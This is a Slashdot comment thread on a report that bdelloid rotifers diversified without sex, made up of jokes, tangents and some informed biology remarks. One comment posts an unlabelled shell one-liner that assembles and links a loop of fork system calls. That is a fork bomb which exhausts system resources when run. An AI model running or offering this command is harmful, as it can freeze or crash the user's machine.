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Organism Survives 100 Million Years Without Sex
zyl0x writes "The Times has an interesting article online on the discovery of a 100-million-year-old micro-organism which has survived its entire lifespan without sex." From the article "A tiny creature that has not had sex for 100 million years has overturned the theory that animals need to mate to create variety. Analysis of the jaw shapes of bdelloid rotifers, combined with genetic data, revealed that the animals have diversified under pressure of natural selection. Researchers say that their study "refutes the idea that sex is necessary for diversification into evolutionary species".
This happens on Slashdot all the time.
Move along...
It should be right at home here.
Is that what you would name this micro-organism?
Previewing comments are for sissies!
...who read this as a single organism living for 100 million years without having sex? First part said "wow", second part made me feel like I had been out-geeked...
Great Intellect...
actually, the main point of the story is that it has changed, has evolved. There is no reason to believe that evolution stops if there is no sex, natural selection is quite happy to use mutation as a tool for evolution, just as it does sex. The difference being that sex tends to speed the process up with different combinations of genes with most offspring.
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Did anyone see suck's parody of slashdot?
http://www.suck.com/daily/99/12/13/daily.html
Doesn't seem so funny now, does it?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Do you even know what murder means?
...that's another embryo aborted. In your opinion we are all genocidal maniacs, since we could have all reproduced millions of times but have not (something to do with rape laws) and so millions of embryo's have been effectively aborted via periods which could have otherwise formed children.
How on earth can you kill someone who hasn't even been born yet?
Next you'll be saying woman who have periods are murderers.
This discovery doesn't refute anything. Sex has never been a requirement for diversification. That's just silly. Single celled organisms reproduce clonally, and there are millions of species. (they do utilize gene transfer, but that isn't the same as sexual reproduction)
Inheritable differences and selection are sufficient. Mutation is a fine source of inheritable differences. Sex allows greater rates of diversity and retention in the population of undesirable traits that are not dominant for longer, allowing them time to mutate into something useful or show up when environmental factors make them useful. Sexual reproduction is far and away the most common mode in multicellular organisms, probably because it helps the species be resilient to environmental changes. But it isn't required.
I would have found "Organism Survives Without Orgasm" at least a hundred times more entertaining :)
Researchers say that their study "refutes the idea that sex is necessary for diversification into evolutionary species".
I have never even heard the idea (during a degree in genetics) that sex is necessary for diversification into species. Bacteria do not have sex (although they can share DNA through other means, such as plasmids) and yet that are incrediably diverse and continue to evolve rapidly (e.g. antibiotic resistance). Therefore, if sex were necessary for speciation we would only have one species of bacteria.
The term "evolutionary species" is also strange. All "species" are by definition "evolutionary", since that is the process by which individual species arise.
Sounds a lot like my marriage...
Two sister species were found to be living together on the body of a water louse. One of them specialised in living around the louse's legs and the other stayed close to the chest. And I thought I had a crappy dorm room.
Harpo Tunnel Syndrome--my wrist feels funny.
Females that haven't had sex in millions of years. I moving there. I could get laid.
Michael Reed, freelance tech writer.
That's not what your girlfriend says. :-D
-- I ignore anonymous replies to my comments and postings.
It's a bad idea to read "organism" as "orgasm" when you're reading out loud for a class.